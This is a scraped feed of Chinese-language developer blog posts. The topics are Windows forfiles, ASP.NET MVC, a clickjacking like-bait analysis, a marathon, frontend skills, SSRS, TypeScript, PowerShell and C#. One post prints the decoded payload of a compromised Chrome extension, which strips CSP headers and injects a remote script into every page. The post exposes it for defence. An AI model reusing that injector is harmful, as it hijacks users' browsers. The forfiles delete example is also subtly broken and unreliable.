Quantcast
Channel: Darkthread
Viewing all 428 articles
Browse latest View live

TIPS-在 Windows 批次刪除 N 天前的檔案

$
0
0

工作上常遇到的需求:Log、暫存檔案多半有保留年限,如何用一個指令刪除某個期限前的舊檔?

今天才學到一個好用的 DOS 指令-forfiles,參數不多,簡單易用:

  • /p 路徑名稱
    查詢對象,省略時為現在所處資料夾
  • /m 檔名限制
    可配合萬用字元限定檔名或副檔名,例如:*.log、ex1610*.log
  • /s
    指定搜尋範圍包含子目錄及其下層目錄
  • /c "對找到檔案執行的動作"
    例如:"cmd /c del @path"為刪除檔案,省略參數時預設為"cmd /c echo @file",將顯示找到的檔案名稱
  • /d 數字或日期
    限定檔案上次修改日期範圍,+代表大於等於,-代表小於等於,可以指定日期,例如:/d +2016/10/01(10/1當天及之後異動的檔案)、/d -2016/10/10(10/10當天與之前修改過的檔案);或指定數字今天起算幾天前的檔案,例如:/d -3(三天前)/d +0(今天)

撰寫 /c 參數時,有以下變數可用:

  • @file 檔名
  • @name 檔名去掉副檔名
  • @ext 副檔名
  • @path 完整路徑
  • @relpath 與 /p 為基準的相對路徑
  • @isdir 是否為資料夾
  • @fsize 檔案大小
  • @fdate 檔案上次修改日期
  • @ftime 檔案上次修改時間

所以刪除30天以前的Log檔可以寫成:

forfiles /p D:\Logs\IISLogs /s /m *.log /d –30 /c "cmd /c delete @path"

另外我也發現,forfiles 很適合解決之前提過將 DIR 結果轉為檔案清單的需求,還省去 Replace 計算相對路徑的功夫,是更好的選擇:

forfiles /p D:\Set9527 /s /c "cmd /c echo @relpath"

好物一枚,收入命令列工具箱。


【茶包射手日記】ASP.NET MVC 403.14 錯誤烏龍

$
0
0

手動部署 ASP.NET MVC 專案到測試台,仗著自己對 MVC 的了解,沒用 Visual Studio Publish 功能也不是整個專案全搬,而是靠肉眼人腦決定搬哪些檔案。COPY 好檔案設好 IIS,預期該連上 /Home/Index 首頁卻冒出 HTTP 403.14。

這問題以前遇過,起因 Windows 2008 SP2 (非 Windows 2008 R2)的 IIS 7 不支援無副檔名路由,需使用 <modules runAllManagedModulesForAllRequests="true" /> 繞道或安裝 Hotfix。但這回主機是 Windows 2008 R2 IIS 7.5(畫面有 IIS 版號為證),不應有此問題。另一個可能是漏註冊 ASP.NET(需重跑aspnet_regiis),但同機器的其他 ASP.NET MVC 4 跑得好好的,當場排除嫌疑,無保請回。會是路由沒設好?不對,在開發機執行是正常的。

經過一番偵查,猛然想起:我漏了 Global.asax…

路由設定在 MvcApplication.Application_Start(),程式碼已隨 Global.asax.cs 編譯進 DLL,但網站少了 Global.asax 檔案,Application_Start() 事件就不會被觸發,烏龍事件再添一筆。

網路文章騙讚手法剖析

$
0
0

之前領教過內容農場利用 Clickjacking (點擊刧持)讚的手法,包含藏在影片播放鈕上方,一播影片就按讚,甚至讓隱形按讚鈕追著滑鼠游標跑,在網頁點任何地方就強迫中獎。

最近常發現自已莫名訂閱了某些 FB 粉絲團,懷疑是某個讀文章會彈出「歡迎光臨」對話框的網站,今天再度遇到,決定一探究竟。(關於 Clickjacking 細節請參考前文:看影片偷按讚-Clickjacking活用入門,此處不多贅述)

該網路文章如下圖,開啟幾秒後彈出「Hi~~歡迎光臨」對話框並遮蔽網頁,點右上角的 X 關閉鈕才能繼續閱讀。一進門,馬上有人衝到你面前攔路高喊「伊來寫嘛謝」(いらっしゃいませ)根本超有事,其中肯定有鬼。先用瀏覽器 F12 開發者工具監看網路,果然在按下 X 關閉鈕的當下,網頁偷偷呼叫 Facebook 的 like.php,進行了一個點讚的動作。

用 Firefox 的 3D 檢視套件(Tilt 3D)一看,關閉鈕附近果然有重兵埋伏,由<html class="svg" id="facebook">證實該處有個隱形 IFrame 偷藏 Facebook 網頁。

基於好奇研究了做法,原來它用 IFrame 內嵌 Facebook 的按讚外掛,設定 CSS position: absolute + z-index: 1000 讓它浮在關閉鈕的上方,再設定 opacity: 0 使之隱形。用 F12 開發者工具將 opacity 改為 0.5 半透明,就可看到 Facebook 按讚鈕不偏不倚套在關閉鈕上方,IFrame URL還指定語系為保加利亞(locale=bg_BG),讓原本短短的讚或 Like 變成長長的 Харесвам,方便套版。

再追進去,Event Listener 顯示按讚 IFrame 的 click 事件被設定在 wp-content/plugins/like-jacking-ninja/include/public/js/reveal/jquery.reveal.js,jQuery Reveal 是對話框套件,按讚 IFrame 是不折不扣的對話框關閉鈕!而路徑的 like-jacking-ninja 寫得多淺白,Google 後發現居然是點擊騙讚的 Word Press 付費套件。

要防止網頁被別人內嵌做壞事,先前介紹過在 HTTP Header 加入 X-Frame-Options: DENY 或 SAMEORIGIN的防護技巧,但 Facebook 按讚外掛就專門用來內嵌的,基本上無從防起。騙讚只算不光明的小伎倆,並不危害資安,一笑置之便罷;但如果你的網頁操作涉及使用者的資產、權利或安全,就可能被有心人士以類似的 Clickjacking 手法拿來做壞事,記得加上 X-Frame-Options 防護保安康。

2016瑪陵馬

$
0
0

2016 安樂盃瑪陵生態園區馬拉松,全名好長,就簡稱瑪陵馬吧!瑪陵生態園區在七堵,又一個沒跑馬我可能永遠不會踏上的地方,爬文「瑪陵生態園區」,十之八九與馬拉松相關,算是透過舉辦馬拉松行銷地方的成功案例吧!瑪陵開發得挺早,地名源自平埔族語「女巫之墳」,西班牙人也居住過,過往靠煤礦和茶葉盛極一時,之後則以山藥、綠竹筍、桂竹筍等農產聞名。

會場設在瑪陵國小,很可愛的小小學校:(照片為賽後補拍)

學校被綠樹花草包圍,遠處看得到雄偉的岩石山尖,被大自然環抱。

八點開跑時間偏晚(應是考量火車接駁),所幸天氣轉涼還遇上陰天偶有細雨,不必擔心變成燒烤大會。

小型比賽起跑還依完賽時間分區不常見,但最晚只到五小時,沒有我中意的5:30或6小時,就排在5小時吧。

起跑沒多久,跟在三百馬陪跑團與上場烏來馬主辦邵老師(花頭巾很好認)的後面跑了一段。

補給不錯,我吃了叉燒肉、豬耳朵、香腸、水餃、蛋糕… 可惜跑慢了,眼睜睜看著最後一罐啤酒空罐「扣」一聲,在我眼前被踩扁~

瑪陵坑的景色稱不上壯濶,但有山有水,環境清幽,路線總升降差不多等於爬兩趟貓空,但坡度較緩,跑來還算輕鬆。

石公潭(這是回程拍的,去程時潭中居然有人游泳)

路過奇特建物,回家爬文得知為瑪西焦炭窰

成績不是重點,5:45:19輕鬆完賽,再下一馬。

完賽獎牌蠻好看的。

  

Oh, there is one more thing…

薑!薑!薑!薑~~~~

馬拉松五年級生的小小成就,30馬獎!還有沒有毅力騎完60馬是未知數,但慢跑這個好習慣我會努力堅持下去。

(初馬、10馬、30馬三獎合體,忽然發現10馬獎眼睛好大表情好萌 XD)

閒聊:不想走在「最前端」, WebForm 開發者也該學的技能

$
0
0

就用這篇鬼故事當開場吧!在 2016 年学 JavaScript 是一种什么样的体验?

這幾年 HTML5 火紅,前端開發技術發展如黃河氾濫一發不可收拾,開發框架百家齊嗚,眼花瞭亂不知如何下手就算了,更要命的是市場主流每兩年就轉一次風向,兩年前我才含淚從 Knockout 轉到 Angular,現在卻眼看 React.js 及 Vue.js 可能把 Angular 的接班人 Angular 2 幹掉 Orz。不只開發框架主流變來變去,連開發工具也整套換光光。還記得兩年前的這篇Gulp, Grunt, Bower 以及 npm嗎?好消息,那幾個名詞就快隨風而逝不用花時間搞懂了;壞消息,變成要搞懂 Webpack、Visual Studio Code、Angular CLI 以及 Yarn 這幾個新名詞。

即使前端一變再變,年年砍掉重練,卻有許多前端工程師甘之如飴,這世上唯一不變的真理不就是萬事萬物隨時都在改變嗎?想抱著一個技術吃一輩子太天真。永遠站在時代的最前端的成就感是無可取代的,但細究投資報酬率就是另一回事了。一個我覺得很棒的比喻是「跑馬拉松」這檔事!花六小時揮汗燒掉三千大卡才移動 42 公里,等同跟花一百多塊坐一小時機場巴士的距離,有人樂此不疲,有人覺得根本頭殼壞去。愛的人很愛,圈子外的人無法感受其中樂趣,只覺得超沒效率又折磨自己。

到頭來我有個結論,不是每個人都能接受前端翻來覆去年年砍掉重練,一是人生目標與生活重心不同,不是每個開發者都想或需要成為開發魔人,寫出符合規格的程式(前題是不拉屎留給別人擦)就算稱職;二是投資報酬率問題,對一些需具有深度 Domain Knowhow 才能勝任的系統開發工作,開發者很難無止境地投入資源學習新技術。為避免過度投入排擠其他維度的學習與人生目標,接受新技術時難免斤斤計較,只是寫個網頁得一直走在時代最前端,永遠在學新技術新工具新語言,隨主流更迭不斷砍掉重練還不能喊苦,WTF?以此觀點,如果應用最新技術打造極致 HTML5 體驗不是你最關鍵的核心價值,或著你無法忍受一天到晚直追著前端潮流轉風向,不能接受三天兩頭砍掉重練,那麼請愛惜生命,遠離前端的最前端。

HTML5 勢不可擋,不需要走在最前端是一回事,WebForm 開發者把頭埋進沙裡繼續 ServerControl + PostBack 或套個 UpdatePanel 讓畫面不閃騙自己我會寫 AJAX 又是另一回事。終有一日,Web Form 開發者還是被迫要學會 HTML5 的前端開發方式,提早準備好才不會一抬頭發現自己身陷湍流中央的沙洲。以下我試著從投資報酬率出發,不奢求要寫出 Gmail 那種不像網頁還可以直接搬進手機的 SPA(Single Page Application),把範圍侷限在「使用 AJAX 取代傳統 WebControl Postback」,談談「如果不想走在最前端,WebForm 開發者該學會哪些技能迎接 HTML5 時代?」 

ASP.NET MVC、ASP.NET MVC、ASP.NET MVC

啥?WebForm 不能用了嗎? 一定要換 ASP.NET MVC?我仍維持從 ASP.NET Core 變革談起一文的觀點:

WebForm 仍是當前 ASP.NET 專案主力,市佔率遠勝 ASP.NET MVC,但 MVC、HTML5 才是明日之星!即便 VS2015(甚至再下一版的 Visaul Studio)仍可編譯維護 WebForm 專案,但可以預見的劇情發展是:愈來愈多的新功能只支援 MVC、Web API,WebForm 不再改版進步,接著 WebControl 元件廠商停止推出新版強化,漸漸中止技術支援,市場愈來愈難找到熟悉WebForm 的人才(就算找得到也不會是新鮮的肝,你懂的… XD),未來寫 WebForm 專案的同學會像今天還在寫 ASP 的同學,需要強大心理素質面對冷言冷語:「現在都流行科技新貴,你怎麼還在做菜頭粿?」「人家都已經上太空,你怎麼還在殺豬公?」預言要全部實現還有點遙遠(在本公司存活超過十年仍頭好壯壯沒人敢動的 ASP 表示:安啦,還早得很!) 但 WebForm這條路註定會愈走愈寂寞,愈走愈冷,WebService、SVC 也會是相同處境。可預期在 HTML5 已成主流的今天,依賴 PostBack運作的 WebForm,難以整合最新前端技術,做不出「目前最流行的網頁效果」,愈來愈難贏得使用者與開發者青睞,終究得退出江湖。

儘快搞懂 Controller、Action、CSHTML、Razor、URL Routing、ScriptBundle、ActionFilter… 吧!今天不學,明天就會後悔。

【延伸閱讀】

CSS 3

HTML5 時代呈現網頁的做法與傳統網頁設計差異極大,像是用 Table 切版調位置、用圖檔做漸層背景、用 Photoshop 做線條幾何圖檔、寫 jQuery 產生動畫及Hover 特效 ,在 HTML5 時代全靠 CSS3 搞定!(潑個冷水:什麼?你說 IE7/8/9… )撇開一些會嚇到滴兩滴的神作,光看這個經典純 CSS3 哆拉A夢就夠驚人吧?

未來,要寫網頁保證會接到這種訂單-「我想要這部分弄出像 XXX 網站的那個效果」,除了學習 CSS 知識,請備妥以下技能:

  1. 開瀏覽器 F12 開發者工具偵察現有的網頁 CSS 樣式規則
  2. 判斷產生該效果的 CSS 樣式設定來源
  3. 在自己的網頁加入適當 CSS 樣式套出相同效果
F12 工具的熟練度很重要,它決定前端工程師是走在香榭大道,還是住在下水道。

【延伸閱讀】

TypeScript

HTML5 網站的程式重心大幅往 HTML、JavaScript 端移動,JavaScript 要做的事變得複雜,不再只是用 jQuery 在 <select> change() 事件寫幾行改改 <input>,程式行數呈級數爆長。弱型別又是直譯語言的 JavaScript,寫錯變數、函式名稱,傳錯型別都要等到執行期間才爆炸,更不用提程式碼難以模組化,缺乏原生物件導向特性,只能用 prototype 勉強模擬繼承、介面這些 C# 熟手覺得理所當然的語言要素。而弱型別讓程式碼重構起來困難重重,為函式改個名字、幫類別搬個家,到底有多少地方用到它,只能靠地毯式搜索逐一修改。以上困擾是 TypeScript 值得學習的重要理由,如果你不相信,可以去問那些吃過 JavaScript 苦頭的老人。哦!如果聽到有人跟你說,TypeScript 很多語法特性在新版 ECMAScript 已內建,寫原生 JavaScript 才是王道。你可以這麼回應:「先別說 ES6 了,你有聽過 IE 嗎?」,他們多半不會再說什麼,只會用同情的眼神看著你:嗯,用 TypeScript 很好,您辛苦了!

如果逃不過相容 IE 的宿命,TypeScript 讓我們放心在程式中使用 Arrow Function(()=>{ … })、Template String(像 C# @"…" 可以內含換行,還可內嵌變數)這些好用的新特性,不必擔心瀏覽器支援問題,依相容要求可編譯成適用不同 ECMAScript 規格的 JavaScript。好語言,不學嗎?

【延伸閱讀】

JavaScript 端 MVVM

在我開始寫 AJAX 網頁的那個年代,要實現下拉選單連動、顯示隱藏切換全靠 onchange 等 DOM 事件,A 元素改變時去改 B,B 元素改變時去改 C、D,只要有 jQuery,沒有做不出來的道理!但是遇上較複雜 UI,數十上百個事件交錯,常因觸發順序與預期不同產生詭異結果,光搞清楚哪些值會影響哪些值、哪些值對應到哪些元素、元素在什麼事件改變值、JavaScript 修改的資料如何反應到元素上… 就讓腦袋大打結。這是為什麼我接觸過 Knockout.js(KO)、Angular.js(NG) 這些 MVVM 框架後便再也回不去的原因!

MVVM 的核心概念是 View 的運作以 ViewModel(VM)為中心,VM 包含屬性及方法,開發者只需專心做好三件事:

  1. 定義屬性間的連動關係,例如:Amount = Qty * Price。連動反應實作依 MVVM 不同,KO 是透過 ko.computed() 訂閱屬性修改事件,NG 則用 $scope.$watch() 監測屬性異動。
  2. 將屬性單向或雙向繫結到 HTML 元素,如 <input>、<select>的內容,甚至是 CSS 樣式、Style 屬性上。若是雙向繫結,使用者輸入或操作會即時反應到 JavaScripit 的 VM 屬性,使用 JavaScript 修改 VM 屬性也會即時反應到 HTML 元素。
  3. 將修改屬性、處理資料的客製邏輯寫成方法,掛在指定 HTML 元素事件上,例如 <button> onclick

有了 MVVM 概念,開發者不需操煩在 INPUT 或 SELECT onchange 事件修改屬性並連帶更新相關屬性這些瑣事,只需定義好 VM 屬性的連動關係,將屬性繫結到 HTML 元素上,餘下的事就交給 MVVM 框架搞定。

雖然我的 MVVM 框架已從 KO 到 NG 換過一次,且未來排除會再換成 NG2 或其他框架,若聚焦 VM 的商業邏輯,即使更換 MVVM 框架,定義屬性、偵測改變設定關聯、建立單雙向繫結、掛載 DOM 事件方法這些原理並不會隨之改變,只要將框架相依性高的環節抽取出來並用介面等技巧抽象化,就能降低抽換 MVVM 框架對 CRUD (查詢新増修改刪除)網頁邏輯寫法的衝擊。(但全面改寫 HTML 是逃不掉的,再補聲暗)

依我的觀點,Knockout.js 仍是很好的 MVVM 選擇,很可惜它已註定從歷史淡出。Angular 仍是當今主流(註),也是微軟目前的前端選擇。 Angular 2 已於前陣子 RTM,跟 TypeScript、VSCode 整合緊密,現在才要踏入的人可以直接選它。至於 React 與 Vue 氣勢不容小覷,但能否登上寶座,能穩坐多久很難說,既然不打算走在最前端,就暫且保持觀望。
註:前陣子有份超過 9000 位前端開發人員參與的前端框架調查,Angular 1 是最多人用過的前端框架,React 用過說讚的比例最高,而 Vue.js 正在竄起。

我自己的狀況則是手上已累積夠成熟的 Angular 程式庫與共用元件,現階段用 Angular 開發最有利,效率最高。轉換 Angular 2 或其他框架要等具備足夠成熟的經驗及程式庫、工具後再做打算。

【延伸閱讀】

Web UI 元件庫

全部只用 <div> <span> <input> <select> <textarea> 寫專案也能驗收?有三種可能:客戶沒上過網、驗收者是你爸,或者你是黑道廠商(賣兄弟茶來著)。網頁規格很難不用到日期選擇單、數字輸入欄位、頁籤、選單這些常用控制項,全部自己刻是選項但不符成本效益(光瀏覽器相容就叫人頭皮發麻),借助現成 UI 程式套件省時省力。以 Angular 為前題,以下是我知道的一些選擇:

  • jQuery UI
    歷史悠久,資源豐富,如不足還有龐大的第三方 jQuery Plug-In 助陣
  • Angular UI
    不算是獨立程式庫,是將一些現有 jQuery UI 元件或其他第三方元件包成 Angular Directive 方便使用
  • Kendo UI
    Telerik 公司的作品,有 Core 免費版,但一些精彩元件如 Grid、Chart、Editor… Kendo UI Professional 商業版才有。
    Kendo UI 元件挺齊,質感不錯,文件與範例完整,可省下可觀的開發時間。另外有一點值得一提,Kendo UI 跟技術主流的整合度挺好,有第三方 Knockout 整合,本身就支援 Angular,並即將有 Angular 2 版本。讓前端攻城獅在一次又一次被迫砍掉重練的血淚裡感受到一絲溫暖… (想到這裡,再補聲暗)
    展示網站  參考文件

發現 Chrome 外掛偷藏惡意程式

$
0
0

從 Chrome 網路監控發現異常活動,檢視本機網站卻跑出一段程式從某台 AWS 主機為網頁注入 /forton/inject_jq.js:

inject_jq.js 載入同一主機下的 /forton/cbp/cmps/60_4c15b.js:

60_4c15b.js 再載入更多 JS:

粗略看過載入的程式片段,似乎是要在網頁插入廣告(adnow、extsgo.com、st.adxxx.com)。經比對測試,無痕模式下不會載入可疑程式,懷疑是外掛造成。鎖定外掛展開調查,很快找到兇手為 Inject jQuery,停用後一切正常。

爬文找到有人在 Live HTTP HeadersGive Me CRX等外掛也發現類似惡意行為,並提到在 PNG 圖檔偷渡惡意程式碼的技術細節。

找到 \AppData\Local\Google\Chrome\User Data\Default\Extensions\indebdooekgjhkncmgbkeopjebofdoid\background.js 發現一模一樣的偷渡手法 – 使用 getFile 讀取 icon2.png,在二進位資料尋找 "init>" 及 "<end" 字樣包夾的位元組資料,以 XOR 解碼回程式碼並執行。

檢查 icon2.png,真的有 init> 及 <end:

實際執行解碼程式,查出 icon2.png 內容藏了以下程式碼:

"var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3. eu-central-1 . amazonaws . com/forton/inject_jq.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);"

如此便取得 Inject jQuery 偷載 inject_jq.js 引進惡意程式的鐵證。但有個疑點,Inject jQuery 這個外掛我用了好一陣子,當初看過評價不差才裝的,為什麼會中獎?進一步想確認資訊時發現 Inject jQuery 已從 Chrome 線上商店下架,而 Google 搜尋結果中 65 票 4.5 顆星的高評價記錄還在,點下去已找不到網頁…

回頭查看外掛資料夾的更新日期是 2016/10/28,我懷疑被自動更新過,最近才變成有毒版本,而 Google 接收到檢舉後將外掛下架。最後我又查到一則討論,又提到好幾個 Chrome 外掛有類似問題,再提到另一個外掛 Full Screen Flash,以及我遇到的 Inject jQuery。

【結論】

最近接連出現多起 Chrome 外掛中毒案例(Give Me CRX、Live HTTP Headers、Full Screen Flash、Inject jQuery、W3School Hider…),好幾個原本可用評價正常的外掛紛紛被植入惡意廣告程式(似乎發生在自動更新後),還使用了將惡意程式碼藏在 ICON2.PNG 圖檔的手法躲避追查。雖然有問題的外掛多從 Google 商店下架,但在已安裝的機器上仍會繼續執行,建議有安裝 Chrome 外掛的朋友開 F12 Source 檢查網頁有沒有被加料,小心為上。

2016-11-11 感謝網友 RJ 補充:這種案例之前就發生過不少次,大多是因為好用的流行套件被人盯上,買下後植入惡意程式。甚至有套分頁管理套件被買走污染後,作者重新上架並 Open Source,沒想到最後新套件下架 + 作者移除 GitHub Repo,而被污染的套件還在架上。

2016-11-11 補充,Chrome 的自動停用有害外掛機制發揮作用了:

今天在另一台機開啟 Chrome 時跳出警告,Inject jQuery 已自動停用,為 Chrome 按個讚!

另外,被外掛偷塞廣告的網頁會長這様:(感謝不願具名的善心人士提供珍貴畫面)

【延伸閱讀】

【茶包射手日記】Reporting Service訂閱呈現Pending,無法寄送郵件

$
0
0

Reporting Service(SSRS)有個訂閱功能,允許針對特定報表指定查詢參數、收件對象以及排程時間,建立訂閱(Subscription)後可定期用電子郵件寄日報表、週報表給相關人員,十分方便。

接獲報案,某張日報表設有兩個訂閱,每天先發預覽版給檢核人員,方便有錯緊急更正,15分鐘後再發正式版給長官。遇到狀況為預覽版正確寄出,正式版的訂閱項目執行狀況呈現 PENDING,收件者未收到信件。

找到 SSRS Log(%programfiles%\Microsoft SQL Server\<SQL Server Instance>\Reporting Services\LogFiles),查到寄送正式版訂閱時有存取被拒錯誤,訊息裡出現某個離職同事的 AD 帳號。推敲原因是建立該訂閱的同事離職,擁有者 AD 帳號失效,導致訂閱無法執行。但有點很可疑,AD 理在上個月底失效,訂閱仍正常跑了十來天。

有趣的是,SSRS 的訂閱管理介面查不到導致 PENDING 的原因(SQLAgent,看不出訂閱的擁有者是誰,也無從修改。被迫直接查詢 SSRS 資料庫,由 dbo.Subscriptions 查出該訂閱的 OwnerID,比對 dbo.Users UserID,證實正式版的 OwnerID 屬於職離同事,與預覽版 OwnerID 不同,這解釋兩個訂閱為何一個成功一個失敗。訂閱管理介面看不到也無法修改擁有者,試著重新儲存訂閱則因擁有者 AD 帳號不存在而失敗,感覺換掉 Subscription.OwnerID 是最直覺有效的解法,但直接改資料又覺得毛毛的。

最後查到這篇 MSDN 部落格文章(情境類似,也提到 AD 失效幾天後才發作的現象),看到微軟的 RD 也這麼幹,我就放心了,Just Do It!

DECLARE @OldUserID uniqueidentifier
DECLARE @NewUserID uniqueidentifier
SELECT @OldUserID = UserID FROM dbo.Users WHERE UserName = 'DOMAINA\OldUser'
SELECT @NewUserID = UserID FROM dbo.Users WHERE UserName = 'DOMAINA\NewUser'
UPDATE dbo.Subscriptions SET OwnerID = @NewUserID WHERE OwnerID = @OldUserID

與上層命名空間成員名稱重複問題:TypeScript 與 C#

$
0
0

同事遇到的 TypeScript 小問題一則,如下圖,Foo 與 Bar.Foo Module 裡都有個 IBlah Interface(不算良好的設計但合法,用在特定情境可簡化程式),在 Bar.Foo 內想引用更上層 Foo 的 IBlah,不管宣告型別是 IBlah 還是 Foo.IBlah,指向的都是 Bar.Foo.IBlah。

同樣的情境,在 C# 裡也會上演,在 Bar.Foo 命名空間內不管寫 Foo.IBlah 或 IBlah 指的都是Bar.Foo.IBlah:

C# 可用 global:: 關鍵字指定全域命名空間解決這個問題,寫成 global::Foo.IBlah 指明是上層 Foo 命名空間下的 IBlah。〔MSDN 文件舉了一個在自己程式中命名 System、Console 的牙給範例(揪竟是為了什麼要這樣苦苦相逼呢?),使用 global:: 也可輕巧解決〕。

跳一下,回到 TypeScript 案例。在 TypeScript 沒有 global:: 可用(Github 上有人提議,但尚未納入規格),我找到的解法是利用 import ExtFoo = Foo 為外層模組取別名,在 Bar.Foo 透過 ExtFoo.IBlah 解決問題。

module Foo {
    export interface IBlah {
        External: string;
    }
}
import ExtFoo = Foo;
module Bar {
    module Foo {
        export interface IBlah {
            Internal: string;
        }
    }
 
    var x: ExtFoo.IBlah = { External: "A" };
}

快速查詢主機目前安裝的 .NET 版本

$
0
0

工作上常遇到的需求:在陌生機器上想確認已安裝的 .NET Runtime 版本,只有 4.0,還是已升到 4.5.2 甚至 4.6?

MSDN 建議的官方做法是檢查 Registry,程式邏輯不複雜要自己寫個小工具並不困難,但每次測試得 Copy 程式檔太搞剛,於是我想到了 PowerShell!

在 Stackoverflow 找到網友分享用 Powershell 檢查 .NET 版本的範例

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse |
Get-ItemProperty -name Version,Release -EA 0 |
Where { $_.PSChildName -match '^[^0-9S]'} |
Select PSChildName, Version, Release, @{
  name="Product"
  expression={
switch -regex ($_.Release) {
"378389" { [Version]"4.5" }
"378675|378758" { [Version]"4.5.1" }
"379893" { [Version]"4.5.2" }
"393295|393297" { [Version]"4.6" }
"394254|394271" { [Version]"4.6.1" }
"394802|394806" { [Version]"4.6.2" }
        {$_ -gt 394806} { [Version]"Undocumented 4.6.2 or higher, please update script" }
      }
    }
}

註:Stackoverflow 上原本的寫法是 Where { $_.PSChildName -match '^(?!S)\p{L}'} ,用到的 Regular Expression 語法有點生澀難懂:^(?!S) 指明第一個字母不可是 S 以排除 Setup;\p{L} 則規定必須字母起首(參考:Unicode Category)排除 1033、1028 等語系代碼項目,我改用 ^[^0-9S] ,結果相同,但好記好懂許多。

測試成功!以上是我找到最快速查出 .NET 已安裝版本的方法。

C# Interpolated Strings 字串插值

$
0
0

TypeScript 有個好東西,Template String,輸出內嵌動態資料 HTML 時非常好用,例如:

var userName: string = "Jeffrey";
var iconUrl: string = "/imgs/runner.gif";
var html = `
<div>
    Hello, ${userName}! <img src="${iconUrl}" />
</div>`;
alert(html);

場景移到 C#,字串內含換行符號靠 @"…." (String Literal,字串常值)可輕鬆擺平,是 .NET 1.1 時代就有的老東西。TypeScript 在字串裡用 ${variable_name} 直接穿插變數的做法稱為 String Interpolation,C# 傳統上靠 string.Format("<div>Hello, {0}</div>", userName) 實現(術語為 Composite Format,複合格式)。C# 6.0 起新加入 Interpolated Strings(字串插值)特性,不需再用 string.Format() 就可直接混搭文字與變數。

使用 Interpolated String 時只需在雙引號前加上 $ 符號,即可在字串中大大方方以大括號夾入變數,例如:$"Hi, {userName}.",同時還可比照 string.Format(),以 :n0、:yyyy-MM-dd 指定格式,十分方便。不囉嗦,直接看範例:

class Program
    {
staticvoid Main(string[] args)
        {
//插入變數,比照string.Format可加上:n0,:yyyy-MM-dd等格式規範
            var userName = "Jeffrey";
            var score = 32767;
            var result = $"{userName}'s score is {score:n0}. {DateTime.Today:yyyy-MM-dd}";
            Console.WriteLine(result);
//指定固定寬度
            var items = newstring[] { "Notebook", "Phone", "PC" };
foreach (var item in items)
            {
                Console.WriteLine($"{item, 12} checked.");
            }
//加入邏輯運算,與@""混合使用以支援換行,用{{、}}代表{、}
            Console.WriteLine($@"
{{ {score} + 1 = {score + 1} }}
{score} is {(score % 2 == 0 ? "even":"odd")}
");
            Console.Read();
        }
    }

執行結果:

Jeffrey's score is 32,767. 2016-11-22
    Notebook checked.
       Phone checked.
          PC checked.

{ 32767 + 1 = 32768 }
32767 is odd

注意:Interpolated String 屬 C# 6.0 新增規格,Visual Studio 2015 起才支援(參考),如果你的專案開發環境仍停留在 Visual Studio 2013,看在可以少打好多字的份上,考慮升級吧!:P

ASP.NET MVC ScriptBundle Cache 原理剖析

$
0
0

工作上遇到幾起 ASP.NET MVC ScriptBundle 機制在更新 JS 檔後卻讀到舊版內容的問題,沒搞清楚原理查起問題有些茫然,做功課的時間又到了。

依據官方文件(見 Bundle Caching 一節),@Scripts.Render("~/bundles/blah") 會被轉成 <script src="/bundles/blah?v=FVs3…ulE1" type="text/javascript"></script>,並宣告長達一年的 Cache 有效期限。除非使用者強制重新整理(Ctrl-F5)或清除 Cache,省去由伺服器重新下載,有利提升效能。但啟用 Cache 後必須避免伺服器端更新瀏覽器還渾然不知的狀況,URL 後方的 v 參數就是關鍵。只要 JS 或 CSS 一更新, v 值就不同,即可確保使用者一定讀到新版。

如此已大致了解原理,但有兩點疑問:

  1. 更新 JS/CSS 後,需要重啟網站應用程式 v 值才會更新嗎?
  2. v 值如何決定?是時間標籤?還是檔案內容 Hash?

簡單,做個實驗不就知道答案了。

為求簡便,我直接用 /bundles/jquery 測試,ASP.NET MVC 專案在 BundleConfig.cs 預設宣告 bundles.Add(new ScriptBundle("~/bundles/jquery").Include("~/Scripts/jquery-{version}.js"));,我設計了如下 TestBundle.cshtml,用 JavaScript 直接顯示 <script> src 在網頁上:

@{
    Layout = null;
    BundleTable.EnableOptimizations = true;
}
<!DOCTYPEhtml>
<html>
<head>
<metaname="viewport"content="width=device-width"/>
<title>TestBundle</title>
    @Scripts.Render("~/bundles/jquery")
</head>
<body>
<div>
<script>
            document.write($("script:first").attr("src"));
</script>
</div>
</body>
</html>

Scripts 目錄下有 jquery-1.10.2.js 及 jquery-1.10.2.min.js,依據 ScriptBundle 運作原理,min.js 存在時將取用壓縮版,否則會由 js 壓縮。實驗開始!

  1. 初始 URL 如下:
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1              
  2. jquery-1.10.2.js 結尾加上var t="Jeffrey";
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1
    v 未發生任何變化,因為實際讀取的是 jquery-1.10.2.min.js,修改 .js 不發生影響
  3. jquery-1.10.2.min.js 加一個空白
    (function(e,t) 改成 ( function(e,t) (function 前方插入一個空白)
    /bundles/jquery?v=FVs3ACwOLIVInrAl5sdzR2jrCDmVOWFbZMY6g6Q0ulE1
    一樣沒有改變,推論空白或註解不影響 v 值
  4. jquery-1.10.2.min.js 增加一小段程式
    (function(e,t) 改 var t="Jeffrey";(function(e,t)
    /bundles/jquery?v=AhaCLni7VxBk8MOj_UILsTsQ_UHx-uhYLNlfOIqHpL41
    v 值改變
  5. 刪除 jquery-1.10.2.min.js
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
    v 值跟一開始不同,推測此時改由 jquery-1.10.2.js 決定 v 值
  6. jquery-1.10.2.js 結尾加上//Comment Test
    })( window );
    //Comment Test
    /bundles/jquery?v=yLrUYw8wJsDVphfZd34hBbV8EDUqbXgqcJTvyPCUCRg1
